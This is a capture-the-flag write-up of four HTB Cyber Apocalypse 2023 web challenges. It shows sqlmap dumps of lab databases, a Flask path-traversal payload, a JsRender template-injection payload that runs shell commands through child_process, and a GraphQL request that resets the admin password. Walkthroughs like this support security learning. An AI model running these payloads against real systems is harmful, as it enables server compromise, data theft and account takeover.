CTF: HTB Cyber Apocalypse 2023 Part 1
Orbital
Visit the IP address and we see a login panel.
Manual sqli didn’t worked,so i saved the post request into a file.
request.txt:
POST http://64.227.41.83:30772/api/login HTTP/1.1
Host: 64.227.41.83:30772
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://64.227.41.83:30772/
Content-Type: application/json
Origin: http://64.227.41.83:30772
Content-Length: 37
Connection: close
{"username":"admin","password":"admin"}
And using sqlmap, I Found timebased SQLi in username
parameter.
Command:
ryuk@kali:~# sqlmap -r request.txt --random-agent
found two tables users
and communication
in Database named orbital
sqlmap
already cracked the hash for us, now using found credential admin:ichliebedich
let’s login to the site.
From the docker file i noticed the filename which is containing our flag.
Flag location: /signal_sleuth_firmware
As in routes.py
from the source code, you can see that file is being sent directly and there is also a hint given in the comment.
After doing some google search, I found flask Path Traversal vulnerebility and it’s payload from this article here.
Let’s create our payload according to the article.
Path Traversal Payload:
/../../../../../../../../../signal_sleuth_firmware
Flag: HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}
Drobots
POST http://159.65.81.51:32743/api/login HTTP/1.1
Host: 159.65.81.51:32743
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://159.65.81.51:32743/
Content-Type: application/json
Origin: http://159.65.81.51:32743
Content-Length: 39
Connection: close
{"username":"admin","password":"admin"}
Command:
ryuk@kali:~# sqlmap -r request-new.txt --dbs --random-agent
To retrieve the tables use
Command:
ryuk@kali:~# sqlmap -r request-new.txt -D drobots --random-agent --tables
There is only one users
table
Command:
ryuk@kali:~# sqlmap -r request-new.txt -D drobots --random-agent -T users --dump
At first i thought the password is hashed and perform bruteforce with sqlmap’s default wordlist but later on i found that the hashed string is the password.
admin:739025f319bf2fc8ecafa26f547defbc
Flag: HTB{p4r4m3t3r1z4t10n_1s_1mp0rt4nt!!!}
Didactic Octo Paddles
Visit the url and go to /register
endpoint and register as normal user to the website, and login with your credentials.
Now visit the /admin
panel. It wil authenticate you before giving access to the panel and intercept the request.
As i got to know by looking at the AdminMiddleware.js
file from source code, the
/admin
panel is accessable using None
type
routes.js:
router.get("/admin", AdminMiddleware, async (req, res) => {
try {
const users = await db.Users.findAll();
const usernames = users.map((user) => user.username);
res.render("admin", {
users: jsrender.templates(`${usernames}`).render(),
});
} catch (error) {
console.error(error);
res.status(500).send("Something went wrong!");
}
});
The function is really not doing anything except displaying registered users using expressjs template engine, we can abuse it’s functionality to get our flag.
Open a private window and register using ssti payload as username {{:7*7}}
Payload is being executed, now it’s time to cat flag.txt
{{:"0xRyuk".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}
Now reload the /admin
panel
Flag is not displayed completely, right click and do inspect element.
Flag: HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}
Reference: template-injection-jsrender-jsviews
Passman
Visit the address and there is a login panel for password manager.
While analyzing the source code, I came across a vulnerability known as an Insecure Direct Object Reference (IDOR). It seems that the application allows password resets without enforcing proper user authentication, thereby enabling anyone to reset any user’s password by using the UpdatePassword
function and specifying the target user’s username as an argument.
Database.js:
async updatePassword(username, password) {
return new Promise(async (resolve, reject) => {
let stmt = `UPDATE users SET password = ? WHERE username = ?`;
this.connection.query(
stmt,
[
String(password),
String(username)
],
(err, _) => {
if(err)
reject(err)
resolve();
}
)
});
}
The applcation is using the graphql api, let’s understand how it is interacting with the backend by observing the login request.
This is how graphql api sending the request to the backend.
{"query":"mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }","variables":{"username":"test","password":"test"}}
This json request is containing two keys query
, and variables
.
the query
contains graphql mutation.
LoginUser
and passing arguments to its username
and password
parameters, which returns a status message and an access token.
As the UpdatePassword
function required a access token i needed to be login with the normal user account.
Replace LoginUser
function with UpdatePassword
with required arguments.
{"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }","variables":{"username":"admin","password":"NewPassword"}}
Login with new admin credentials.